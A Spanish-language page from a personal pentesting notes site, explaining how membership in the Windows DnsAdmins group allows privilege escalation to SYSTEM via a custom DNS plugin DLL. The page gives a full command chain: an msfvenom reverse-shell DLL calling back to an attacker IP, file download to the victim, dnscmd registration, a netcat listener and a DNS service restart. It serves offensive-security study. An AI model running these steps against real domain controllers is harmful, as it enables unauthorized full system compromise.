d4redevil
  • whoami
  • Active Directory
    • Enumeración
    • PowerShell para gestionar Active Directory
    • PowerView & SharpView
    • Ataques a Kerberos
    • Ataque de contraseñas
    • SMB Relay
    • Token Impersonation
    • Golden Ticket
    • LLMNR Poisoning
    • Mimikatz
    • Grupos privilegiados
    • LAPS
  • Linux
    • Enumeración
    • Escalación de privilegios
    • Transferencia de Archivos
  • Windows
    • Enumeración
    • Escalación de privilegios
      • SeImporsonate
      • SeDebugPrivilege
      • SeTakeOwnershipPrivilege
      • Backup Operators
      • DnsAdmins
    • Transferencia de Archivos
  • Scripting
    • Powershell
      • Introducción
      • Cmdlet
      • Alias
      • Comentarios
      • Comandos utiles
      • Variables
      • Tuberías (Pipes)
      • Operaciones
      • Estructuras Condicionales
  • OWASP TOP 10 y Vulnerabilidades Web
    • Inyecciones SQL
      • ¿Qué son las Inyecciones SQL?
      • Laboratorio
      • Inyecciones SQL basada en Uniones
      • Inyecciones SQL basadas en booleanos
      • Inyecciones SQL basadas en tiempo
  • Writeups
    • Hack The Box
      • Linux
        • 🟢Easy
        • 🟡Medium
          • Zipping
        • 🔴Hard
        • ⚫Insane
      • Windows
        • 🟢Easy
          • Devel
          • Grandpa
          • Granny
          • Jerry
          • Optimum
          • Legacy
          • Active
          • Sauna
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
    • The Hackers Labs
      • Linux
        • 🟢Principiante
          • Papaya
          • Can You Hack Me?
        • 🟡Avanzado
          • Runners
          • El Candidato
          • El Cliente
        • 🔴Profesional
        • ⚫Experto
          • ⚫Thlcppt_v16
      • Windows
        • 🟢Principiante
          • Cocido Andaluz
          • Ensalá Papas
        • 🟡Avanzado
        • 🔴Profesional
          • BlackGold
        • ⚫Experto
    • Dockerlabs
      • 🔵Muy fácil
      • 🟡Fácil
      • 🟠Medio
        • Database
      • 🔴Difícil
    • VulnHub
      • Linux
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
      • Windows
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
    • HackMyVM
      • Linux
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
      • Windows
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
  • Servicios Comunes
    • TCP
    • UDP
    • FTP (21)
    • SMB (445)
    • MySQL (3306)
    • MSSQL (1433)
  • Cheatsheet
    • Reconocimiento
    • Enumeración
    • Enumeración Web
    • Enumeración de CMS
    • Fuerza Bruta
    • Pivoting
    • Msfvenom
    • Utilidades
    • Fuerza bruta
    • Transferencia de Archivos
  • Contenedores
    • Docker
Con tecnología de GitBook
En esta página
  • Abusando del grupo DnsAdmins
  • Generando una DLL maliciosa
  • Iniciando el servidor HTTP local
  • Descargando archivo al destino
  • Cargando DLL
  • Netcat Listener
  • Detener el servicio DNS
  • Iniciar el servicio DNS
  1. Windows
  2. Escalación de privilegios

DnsAdmins

AnteriorBackup OperatorsSiguienteTransferencia de Archivos

Última actualización hace 4 meses

Los miembros del grupo DnsAdmins tienen acceso privilegiado a la información DNS dentro de la red. El servicio DNS de Windows soporta complementos personalizados, lo que le permite invocar funciones desde dichos complementos para resolver consultas de nombres que no están cubiertas por las zonas DNS locales. Este servicio se ejecuta bajo la cuenta NT AUTHORITY\SYSTEM, lo que significa que ser miembro del grupo DnsAdmins puede ser aprovechado para escalar privilegios en un controlador de dominio o en un servidor independiente que actúe como servidor DNS para el dominio.

A través de la utilidad dnscmd, es posible especificar la ruta a una DLL de complemento personalizada. Como se explica en detalle en esta , se puede realizar un ataque cuando el servicio DNS se ejecuta en un controlador de dominio, que es una configuración común. El ataque podría ocurrir de la siguiente manera:

  1. Gestión DNS por RPC: La gestión del servicio DNS se lleva a cabo a través de RPC (Remote Procedure Call), lo que permite interacciones remotas.

  2. Carga de DLLs personalizadas: A través del parámetro ServerLevelPluginDll (documentado en el protocolo MS-DNSP), es posible cargar una DLL personalizada sin necesidad de verificar la ruta de la DLL. Esto se puede lograr usando el comando dnscmd en la línea de comandos.

  3. Modificación del registro: Cuando un miembro del grupo DnsAdmins ejecuta el comando dnscmd, la clave del registro HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll se configura para apuntar a la DLL especificada.

  4. Reinicio del servicio DNS: Al reiniciar el servicio DNS, la DLL definida en el registro se carga, lo que podría incluir una ruta que apunte a un recurso compartido en la red accesible para la cuenta de máquina del controlador de dominio.

  5. Explotación de la DLL: Un atacante puede aprovechar esta vulnerabilidad cargando una DLL personalizada con fines maliciosos, como ejecutar un shell inverso o cargar herramientas como Mimikatz para volcar las credenciales almacenadas en el sistema.

Este ataque se basa en la capacidad de un atacante con privilegios de DnsAdmins para cargar una DLL maliciosa en el servidor DNS, lo que puede comprometer gravemente la seguridad de la red y permitir la escalada de privilegios o el acceso a información sensible.

Abusando del grupo DnsAdmins

Generando una DLL maliciosa

Podemos generar una DLL maliciosa para enviarnos una reverse shell a nuestra máquina atacante.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.162 LPORT=4444 -f dll > shell.dll

Iniciando el servidor HTTP local

A continuación, creamos un servidor HTTP con Python para compartir el archivo dll.

python3 -m http.server

Descargando archivo al destino

Descargue el archivo en la máquina víctima.

wget "http://10.10.15.162/shell.dll" -outfile "shell.dll"

Cargando DLL

cmd.exe /c dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

Netcat Listener

nc -lnvp 4444

Detener el servicio DNS

sc stop dns

Iniciar el servicio DNS

sc start dns

Ganamos acceso al sistema como NT AUTHORITY\SYSTEM.

publicación